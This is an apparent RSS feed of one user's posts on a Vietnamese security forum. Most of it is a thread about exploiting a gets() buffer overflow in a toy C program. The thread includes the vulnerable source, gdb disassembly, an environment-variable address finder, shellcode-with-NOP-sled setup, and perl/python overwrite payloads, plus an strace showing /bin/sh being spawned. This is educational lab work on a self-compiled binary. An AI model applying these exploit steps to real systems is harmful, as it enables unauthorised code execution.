<![CDATA[Messages posted by "Tal"]]> /hvaonline/posts/listByUser/148886.html JForum - http://www.jforum.net Re: Tìm phương pháp học Lập trình và xây dưng website. /hvaonline/posts/preList/25689/155895.html#155895 /hvaonline/posts/preList/25689/155895.html#155895 GMT Re: [thảo luận] để tự học tốt,phải làm như thế nào? /hvaonline/posts/preList/24791/150352.html#150352 /hvaonline/posts/preList/24791/150352.html#150352 GMT Re: Kiểm tra mảng âm dương /hvaonline/posts/preList/24810/149971.html#149971 /hvaonline/posts/preList/24810/149971.html#149971 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/preList/24349/149888.html#149888 /hvaonline/posts/preList/24349/149888.html#149888 GMT Re: Virus svchost.exe /hvaonline/posts/preList/24737/149609.html#149609 /hvaonline/posts/preList/24737/149609.html#149609 GMT Re: Cho em hỏi về tìm kiếm file trong asm32 /hvaonline/posts/preList/24735/149468.html#149468 /hvaonline/posts/preList/24735/149468.html#149468 GMT Re: Virus svchost.exe /hvaonline/posts/preList/24737/149462.html#149462 /hvaonline/posts/preList/24737/149462.html#149462 GMT Re: Tỉm hai số kề có khoảng cách lớn nhất /hvaonline/posts/preList/24719/149350.html#149350 /hvaonline/posts/preList/24719/149350.html#149350 GMT Re: Vấn đề khi thử exploit hàm gets execve("./getname", ["./getname"], [/* 38 vars */]) = 0 brk(0) = 0x804a000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe1000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=50236, ...}) = 0 mmap2(NULL, 50236, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd4000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1364388, ...}) = 0 mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e85000 mmap2(0xb7fce000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fce000 mmap2(0xb7fd1000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd1000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e84000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e846b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fce000, 4096, PROT_READ) = 0 munmap(0xb7fd4000, 50236) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000 fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000 read(0, "AAAAAAAAAAAAZ\377\377\277", 1024) = 16 read(0, "", 1024) = 0 write(1, "What is your name: Aha, your nam"..., 55What is your name: Aha, your name is: AAAAAAAAAAAAZ��� ) = 55 execve("��", ["\234\255\24"], [/* 0 vars */]) = -1 ENOENT (No such file or directory) execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0 brk(0) = 0x805e000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe1000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=50236, ...}) = 0 mmap2(NULL, 50236, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd4000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1364388, ...}) = 0 mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e85000 mmap2(0xb7fce000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fce000 mmap2(0xb7fd1000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd1000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e84000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e846b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fce000, 4096, PROT_READ) = 0 munmap(0xb7fd4000, 50236) = 0 getpid() = 6412 rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0 geteuid32() = 1000 getppid() = 6411 brk(0) = 0x805e000 brk(0x807f000) = 0x807f000 getcwd("/home/haprog/Documents/Research", 4096) = 32 ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbffffd18) = -1 EINVAL (Invalid argument) rt_sigaction(SIGINT, NULL, {SIG_DFL}, 8) = 0 rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGQUIT, NULL, {SIG_DFL}, 8) = 0 rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0 rt_sigaction(SIGTERM, NULL, {SIG_DFL}, 8) = 0 rt_sigaction(SIGTERM, {SIG_DFL}, NULL, 8) = 0 read(0, "", 8192) = 0 exit_group(0) = ? Process 6412 detached   ]]> /hvaonline/posts/preList/24349/149248.html#149248 /hvaonline/posts/preList/24349/149248.html#149248 GMT Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
@Tal: Bạn có thể giải thích tại sao khi compile, bạn cho thằng -mpreferred-stack-boundary=2 được ko? :) Cái này có lẽ liên quan đến memory allocate của gcc, dung lượng stack frame đc gcc cấp sẽ thay đổi phụ thuộc vào thuộc tính này ?? :-/ Trong trường hợp này là Code:
0x080483a7 <main+3>:	sub    $0x10,%esp
 
Đúng. độ lớn của stack frame phụ thuộc vào thông số này. Gcc 4.2.x mặc định sẽ gán kích thước của buffer và biến cục bộ và thêm padding sao cho địa chỉ stack (địa chỉ thanh ghi ESP) luôn là bội số của 16 (1 paragraph). Vì thế mà nếu không gán stack-boundary=2 (ESP là bội số của 4 bytes) thì gcc phải tự tính toán để điều chỉnh lại giá trị của buffer sao cho phù hợp. Lấy ví dụ chương trình của tớ nếu để stack boundary mặc định thì sẽ có mã asm tương tự chương trình anh mrro ở trên. Trong mã ASM ở trên cậu cũng có thể thấy các đoạn mã nhằm hiệu chỉnh stack sao cho nó là bội của 16 Ví dụ ở các chỗ tớ bôi màu vàng
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: lea 0x4(%esp),%ecx 0x080483a8 <main+4>: and $0xfffffff0,%esp 0x080483ab <main+7>: pushl -0x4(%ecx) 0x080483ae <main+10>: push %ebp 0x080483af <main+11>: mov %esp,%ebp 0x080483b1 <main+13>: push %ecx 0x080483b2 <main+14>: sub $0x24,%esp 0x080483b5 <main+17>: movl $0x80484b0,(%esp) 0x080483bc <main+24>: call 0x804830c <printf@plt> 0x080483c1 <main+29>: lea -0xc(%ebp),%eax 0x080483c4 <main+32>: mov %eax,(%esp) 0x080483c7 <main+35>: call 0x80482ec <gets@plt> 0x080483cc <main+40>: lea -0xc(%ebp),%eax 0x080483cf <main+43>: mov %eax,0x4(%esp) 0x080483d3 <main+47>: movl $0x80484c4,(%esp) 0x080483da <main+54>: call 0x804830c <printf@plt> 0x080483df <main+59>: mov $0x0,%eax 0x080483e4 <main+64>: add $0x24,%esp 0x080483e7 <main+67>: pop %ecx 0x080483e8 <main+68>: pop %ebp 0x080483e9 <main+69>: lea -0x4(%ecx),%esp 0x080483ec <main+72>: ret End of assembler dump.  
Vì con trỏ, độ lớn biến nguyên ... đều chiếm 4 bytes nên nếu để stack-boundary=2 (bội 4) thì việc tính toán, hiệu chỉnh sẽ trở nên đơn giản hơn. Vì thế code assembly sạch đẹp hơn, dễ nhìn, dễ exploit hơn :D. @mrro: em nghĩ tăng độ dài buffer thêm 4 bytes là vượt qua được chương trình trên để ghi đè RIP đúng không nhỉ? :D Vấn đề là tớ đã chỉnh lại độ dài buffer, điều chỉnh lại địa chỉ nhảy về... nhưng chương trình vẫn không thể nhảy đến đoạn shellcode được. Không hiểu thế nào. Mọi người xem Code:
Tal@vxer:~/Documents/Research$ export CODE=`cat shellcode`
Tal@vxer:~/Documents/Research$ ./getenv CODE
CODE is located at 0xbfffff5a
Tal@vxer:~/Documents/Research$ ./getname 
What is your name: hello
Aha, your name is: hello
Tal@vxer:~/Documents/Research$ perl -e "A"x12 . "\x5a\xff\xff\xbf" | ./getname 
What is your name: Aha, your name is: ����������P���
Tal@vxer:~/Documents/Research$
]]>
/hvaonline/posts/preList/24349/149202.html#149202 /hvaonline/posts/preList/24349/149202.html#149202 GMT
Re: Tìm Giáo Trình Lập Trình Virus /hvaonline/posts/preList/24356/149172.html#149172 /hvaonline/posts/preList/24356/149172.html#149172 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/preList/24349/148904.html#148904 /hvaonline/posts/preList/24349/148904.html#148904 GMT Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
#include <string.h> #include <stdio.h> int main(int argc, char **argv) { char name[8]; printf("What is your name: "); gets(name); printf("Aha, your name is: %s\n",name); return 0; } @Ta 
l: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục :)  
Chắc bạn chưa xem cái đoạn disassembly của hàm main :)
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x10,%esp 0x080483aa <main+6>: movl $0x80484a0,(%esp) 0x080483b1 <main+13>: call 0x804830c <printf@plt> 0x080483b6 <main+18>: lea -0x8(%ebp),%eax 0x080483b9 <main+21>: mov %eax,(%esp) 0x080483bc <main+24>: call 0x80482ec <gets@plt> 0x080483c1 <main+29>: lea -0x8(%ebp),%eax 0x080483c4 <main+32>: mov %eax,0x4(%esp) 0x080483c8 <main+36>: movl $0x80484b4,(%esp) 0x080483cf <main+43>: call 0x804830c <printf@plt> 0x080483d4 <main+48>: mov $0x0,%eax 0x080483d9 <main+53>: leave 0x080483da <main+54>: ret End of assembler dump. 
]]>
/hvaonline/posts/preList/24349/148873.html#148873 /hvaonline/posts/preList/24349/148873.html#148873 GMT
Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/preList/24349/148871.html#148871 /hvaonline/posts/preList/24349/148871.html#148871 GMT Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
Nhìn đoạn disassembly của bạn, mình đề nghị bạn chạy thử cái này xem: python -c 'print "A"*12 + "\xAA\xBB\xXCC\xDD"' |./vul Lưuý: \xAA\xBB\xCC\xDD là địa chỉ biến môi trường CODE chứa shellcode của bạn  
Bạn có nhầm không vì độ dài của buffer là 16 bytes + 8 bytes nữa của con trỏ và địa chỉ trả về mới ghi đè được địa chỉ trả về chứ? Lệnh khai thác của bạn mới chỉ đẩy vào buffer 16 bytes = độ dài buffer :-/ Ở đoạn code khai thác mình mới để 20 bytes nên địa chỉ trả về là sai -> không khai thác được. Nhưng khi mình đẩy vào buffer nhiều thứ hơn, nó vẫn chưa nhảy về đúng đoạn shell. Đấy là chỗ mình chưa nắm rõ Hơn nữa là đúng như anh mrro nói, mình đã xác định sai mục tiêu.

mybb wrote:
Ý mình là làm sao bạn biết địa chỉ biến môi trường khi bạn chạy cái chương trình lấy ở trên và khi chạy cái getname.out của bạn là trùng nhau? Nếu nó khác thì sao?  
Biến môi trường được nạp tại địa chỉ gần nhau nếu tên chương trình chạy có độ dài gần nhau. Ở đây tớ thấy độ dài của 1 chương trình là getname, 1 cái là getenv hơn kém nhau 1 ký tự -> địa chỉ sẽ nạp chênh lệch nhau là 2 bytes. Vậy cơ bản là địa chỉ không chênh lệch lắm khi có đoạn NOP bảo kê. @anh lamer: Hì hì anh chỉ cho em cách exploit thằng này với :D ]]>
/hvaonline/posts/preList/24349/148750.html#148750 /hvaonline/posts/preList/24349/148750.html#148750 GMT
Re: Vấn đề khi thử exploit hàm gets Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
  char *addr;
  if (argc < 2) {
    printf("Usage: %s <env var name>\n", argv[0]);
  } else {
    addr = getenv(argv[1]);
    if (addr == NULL) {
      printf("The environment variable %s does not exist\\n", argv[1]);
    } else {
      printf("%s is located at %p\n", argv[1], addr);
    }
  }
  return 0;
}
]]>
/hvaonline/posts/preList/24349/147945.html#147945 /hvaonline/posts/preList/24349/147945.html#147945 GMT
Re: Hỏi : khoảng cách lớn nhất giữa hai số nguyên /hvaonline/posts/preList/24469/147944.html#147944 /hvaonline/posts/preList/24469/147944.html#147944 GMT Re: mới tập hack nên học ngôn ngữ lập trình gì ? /hvaonline/posts/preList/24327/147440.html#147440 /hvaonline/posts/preList/24327/147440.html#147440 GMT Re: Vấn đề khi thử exploit hàm gets

Cognac wrote:
@Tal: bạn phải gdb debug xem chuyện gì xảy ra chứ ? Chứ nói vậy ai mà mò dùm bạn? Trước hết bạn cho vài thông tin: 1.gcc --version 2.gdb ./target disassemble main ... vv 
Thử gdb rồi nhưng không được, cần sự hướng dẫn cách gdb mà :( Thông tin thì có ngay ;) Code:
gcc --version

gcc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu7)
Copyright (C) 2007 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Mã assembly của hàm main chương trình getname: Code:
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>:	push   %ebp
0x080483a5 <main+1>:	mov    %esp,%ebp
0x080483a7 <main+3>:	sub    $0x10,%esp
0x080483aa <main+6>:	movl   $0x80484a0,(%esp)
0x080483b1 <main+13>:	call   0x804830c <printf@plt>
0x080483b6 <main+18>:	lea    -0x8(%ebp),%eax
0x080483b9 <main+21>:	mov    %eax,(%esp)
0x080483bc <main+24>:	call   0x80482ec <gets@plt>
0x080483c1 <main+29>:	lea    -0x8(%ebp),%eax
0x080483c4 <main+32>:	mov    %eax,0x4(%esp)
0x080483c8 <main+36>:	movl   $0x80484b4,(%esp)
0x080483cf <main+43>:	call   0x804830c <printf@plt>
0x080483d4 <main+48>:	mov    $0x0,%eax
0x080483d9 <main+53>:	leave  
0x080483da <main+54>:	ret    
End of assembler dump.
]]>
/hvaonline/posts/preList/24349/147057.html#147057 /hvaonline/posts/preList/24349/147057.html#147057 GMT
Re: mới tập hack nên học ngôn ngữ lập trình gì ? /hvaonline/posts/preList/24327/147050.html#147050 /hvaonline/posts/preList/24327/147050.html#147050 GMT Vấn đề khi thử exploit hàm gets Code:
#include <string.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  char name[8];
  printf("What is your name: ");
  gets(name);
  printf("Aha, your name is: %s\n",name);
  return 0;
}
Ở đây chương trình gặp lỗi buffer overflow ở hàm gets. Em đưa đoạn shellcode vào biến môi trường code như sau Code:
export CODE=`perl -e 'print "\x90"x20';cat shellcode`
trong đó file shellcode chứa shellcode để đổ ra 1 shell. Dùng 1 chương trình lấy địa chỉ biến môi trường CODE ví dụ là: 0xbffffeb3. Sau đó em thử nhồi địa chỉ shellcode vào buffer của chương trình trên như sau: Code:
perl -e 'print "\xb3\xfe\xff\xbf"x20' | ./getname.out
Tuy vậy chương trình không thể nào nhảy được về đoạn shellcode trong biến CODE ở trên mà luôn luôn nhảy đến lệnh printf tiếp theo và chương trình vẫn printf đoạn địa chỉ em nhồi vào. Ai có thể chỉ cho em tại sao được không? :) (Em đã disable cơ chế bảo vệ stack (-fno-stack-protector), stack alignment 4 bytes, và không cho hệ điều hành load địa chỉ random).]]>
/hvaonline/posts/preList/24349/147046.html#147046 /hvaonline/posts/preList/24349/147046.html#147046 GMT
Re: Cần nhận sư phụ chỉ vài đường cơ bản vào làng hack /hvaonline/posts/preList/24330/146927.html#146927 /hvaonline/posts/preList/24330/146927.html#146927 GMT Re: Hỏi về lập trình Assembly

sunrise_vn wrote:
Cho mình hỏi thêm tại sao ko dịch được ngôn ngữ cấp cao mà lại dịch ngược được ngôn ngữ cấp thấp.  
Tại vì khi dịch ra ngôn ngữ cấp cao sẽ gặp phải sự thiếu chính xác --> Ảnh hưởng đến mục đích của việc dịch ngược. Ví dụ: mov ecx,3 shr eax,ecx cái này khó mà dịch cho đúng nhé vì compiler có thể dịch thành: a = a * 8 hoặc cũng chỉ đơn giản là:a<<8. Tất nhiên ảnh hưởng ở đây là không rõ ràng nhưng tôi muốn minh họa là 2 câu lệnh trên khác nhau rồi.

sunrise_vn wrote:
Mình đã dùng thử Visual Basic Decompiler rất tốt. Như vậy thuật toán Compile của Microsoft khác với của Bolarnd hả bạn? Tool để Decompile Visual C++ và cả Borland C++ cũng có luôn đóa. 
Khác chứ. Các trình biên dịch chỉ tuân thủ chuẩn ngôn ngữ thôi, còn đâu mã các trình biên dịch khác nhau sinh ra về cơ bản là khác nhau (Thậm chí còn tùy vào nó compile cho môi trường nào nữa ấy chứ). Ngay cả trong 1 ngôn ngữ, việc thay đổi các option cũng sinh ra mã assembly khác nhau rồi. Tôi chưa dùng thử mấy tool đó nên không biết nó chính xác đến đâu. Bạn có thể giới thiệu vài công cụ tốt tốt được không? :) ]]>
/hvaonline/posts/preList/21811/146925.html#146925 /hvaonline/posts/preList/21811/146925.html#146925 GMT
Cần nhận sư phụ chỉ vài đường cơ bản vào làng hack

PhanPhungTien wrote:
Chào cả nhà, HVA - cái tên này mình nghe lâu rùi nhưng giờ mới được tham gia là một thành viên chính thức của 4rum( vì bận hoàn thành 12 năm học ). Mình rất ham mê IT nhất là lĩnh vực mạng và lập trình. Nhưng giờ mới có cơ hội tiếp xúc. Nhưng khi tham gia HVAONLINE thì thấy mấy bác pro viết bài mình chả hiểu gì cả. Nay mình rất mong sẽ có 1 bác nào pro và có lòng làm sư phụ, chỉ dẫn cho mình một vài bước đầu tiên để trở thành 1 hacker ( đừng nói là đọc bài become a hacker nha). Cụ thể 1 sư phụ rất đơn giản là giải thích cho mình 1 vài thuật ngữ bắt gặp trên đường đi học hack, với lại chỉ cho mình 1 vài vấn đề mấu chốt của công việc hacking. Mong là sẽ nhận được câu trả lời từ Pro. Thank! 
Cũng trong diễn đàn này, vào mục Các bài viết giá trị trong mục thảo luận và thâm nhập -> Những cuộc đối thoại với rookie (13 phần). Đọc xong cái đó là biết phải làm gì tiếp à :) ]]>
/hvaonline/posts/preList/24330/146915.html#146915 /hvaonline/posts/preList/24330/146915.html#146915 GMT
SCIM in Ubuntu 8.04 x64 ko chay!

little_fire wrote:
Truoc het xin loi cac bac vi SCIM ko chay va dien dan de kieu Tu dong ma ko go duoc tieng Viet. Em cai Ubuntu 8.04 x64 xong, cai cac goi m17n-db,scim-m17n. Nhung khi an Ctrl+Space thi SCIM khong hien len gi het. Cac bac giup em voi! 
Bạn chọn 1 công cụ editor nào đó, cho con trỏ chuột vào đó, rồi ấn ctrl+space xem có chạy không?]]>
/hvaonline/posts/preList/24328/146911.html#146911 /hvaonline/posts/preList/24328/146911.html#146911 GMT
Re: Ngắt trong C /hvaonline/posts/preList/24319/146908.html#146908 /hvaonline/posts/preList/24319/146908.html#146908 GMT Re: Một số thắc mắc về SDK và trình biên dich ra HĐH. /hvaonline/posts/preList/24309/146907.html#146907 /hvaonline/posts/preList/24309/146907.html#146907 GMT Re: Hỏi về lập trình Assembly /hvaonline/posts/preList/21811/146903.html#146903 /hvaonline/posts/preList/21811/146903.html#146903 GMT Re: Khoa Học Máy Tính - Ngành này học gì, làm gì ? /hvaonline/posts/preList/24047/146331.html#146331 /hvaonline/posts/preList/24047/146331.html#146331 GMT